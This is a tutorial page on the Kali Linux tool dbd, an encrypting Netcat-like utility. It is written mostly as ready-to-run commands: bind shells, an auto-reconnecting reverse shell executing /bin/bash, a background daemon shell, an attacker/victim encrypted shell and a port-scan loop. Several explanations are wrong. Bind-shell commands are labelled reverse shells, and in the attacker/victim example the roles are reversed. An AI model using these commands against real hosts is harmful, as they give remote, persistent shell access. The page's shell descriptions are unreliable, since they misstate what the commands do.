dbd Tool in Kali Linux: Complete Guide

dbd Tool in Kali Linux: Complete Guide

What is dbd?

dbd is a Netcat-like networking utility with built-in AES-CBC-128 + HMAC-SHA1 encryption for secure communication. It supports:

  • TCP/UDP connections (like nc).
  • Encrypted data transfer (unlike plaintext nc).
  • Port forwarding & bind/reverse shells.
  • Chat mode (similar to nc chat).
  • Daemon mode (background execution).

Developed by Michel Blomgren, it’s useful for pentesting, secure file transfers, and backdoor shells.


Installation of dbd in Kali Linux

Method 1: Install from Repo (if available)

Bash
sudo apt update && sudo apt install dbd

Method 2: Manual Compilation (if not in repos)

  1. Download source:
Bash
wget http://www.cr0.net:8040/code/network/dbd.tgz
tar -xvf dbd.tgz
cd dbd
  1. Compile & install:
Bash
make
sudo cp dbd /usr/local/bin/

Basic Usage Examples

Connect to a Remote Host (like nc)

Bash
dbd 192.168.1.100 4444
  • Connects to 192.168.1.100 on port 4444.

Listen for Incoming Connections (Bind Shell)

Bash
dbd -l -p 4444
  • Listens on port 4444 for incoming connections.

Execute a Shell on Connection (Reverse Shell)

Bash
dbd -l -p 4444 -e /bin/bash
  • Spawns a /bin/bash shell when someone connects.

Encrypted Communication

Bash
dbd -l -p 4444 -c on -k "mysecretkey"  # Server
dbd 192.168.1.100 4444 -c on -k "mysecretkey"  # Client
  • Uses AES encryption with a shared key (mysecretkey).

Advanced Usage

Port Forwarding (Relay)

Bash
dbd -l -p 4444 | dbd 192.168.1.200 80
  • Forwards traffic from 4444 to 192.168.1.200:80.

Persistent Reverse Shell (Auto-Reconnect)

Bash
dbd 192.168.1.100 4444 -r 5 -e /bin/bash
  • Reconnects every 5 seconds if disconnected.

Daemon Mode (Run in Background)

Bash
dbd -l -p 4444 -e /bin/bash -D on
  • Runs persistently in the background.

Chat Mode (Encrypted Chat)

Bash
dbd -l -p 4444 -H on -P "[Server]: "  # Server
dbd 192.168.1.100 4444 -H on -P "[Client]: "  # Client
  • Enables colored chat with prefixes.

Command-Line Options (Full Breakdown)

OptionDescription
-lListen mode (bind shell)
-p nPort to listen/connect
-a addrBind to a specific IP
-e progExecute program on connect (e.g., /bin/bash)
-r nAuto-reconnect every n seconds (-r0 = relisten)
-c on/offEnable/disable encryption (AES-CBC-128 + HMAC-SHA1)
-k secretEncryption key (must match on both sides)
-qQuiet mode (no output)
-vVerbose mode
-nDisable DNS resolution
-mEnable monitoring (snoop on executed program)
-P prefixAdd prefix to outgoing data (for chat)
-H on/offHighlight incoming data (colorized)
-VShow version
-sSpawn a shell (useful for privilege escalation)
-w nTimeout after n seconds of inactivity
-D on/offRun as a daemon (background process)

Real-World Use Cases

  1. Secure File Transfer
Bash
dbd -l -p 4444 > received_file  # Receiver  
dbd 192.168.1.100 4444 < send_file  # Sender  
  1. Encrypted Reverse Shell
Bash
dbd -l -p 4444 -e /bin/bash -c on -k "s3cr3t"  # Attacker  
dbd 192.168.1.100 4444 -c on -k "s3cr3t"  # Victim  
  1. Port Scanning (Like nc -z)
Bash
for port in {1..1000}; do dbd -n 192.168.1.100 $port -w 1 && echo "$port open"; done  
  1. Chat Server (Encrypted)
Bash
dbd -l -p 4444 -H on -P "Alice: "  # Server  
dbd 192.168.1.100 4444 -H on -P "Bob: "  # Client  

Troubleshooting

Issue: Connection Fails

  • Check firewall (ufw, iptables).
  • Verify IP/port correctness.

Issue: Encryption Not Working

  • Ensure -k key matches on both sides.
  • Use -c on explicitly.

Issue: Program Doesn’t Execute (-e)

  • Check if the path is correct (/bin/bash, not just bash).
  • Use -v for debugging.

Issue: Port Already in Use

  • Find & kill the process:
Bash
sudo netstat -tulnp | grep 4444
sudo kill -9 <PID>

Total
0
Shares

Leave a Reply

Previous Post
tcpdump: A packet capture tool for network traffic analysis

tcpdump: A packet capture tool for network traffic analysis

Next Post
powersploit: A collection of PowerShell scripts used for post-exploitation tasks in Windows environments

powersploit: A collection of PowerShell scripts used for post-exploitation tasks in Windows environments

Related Posts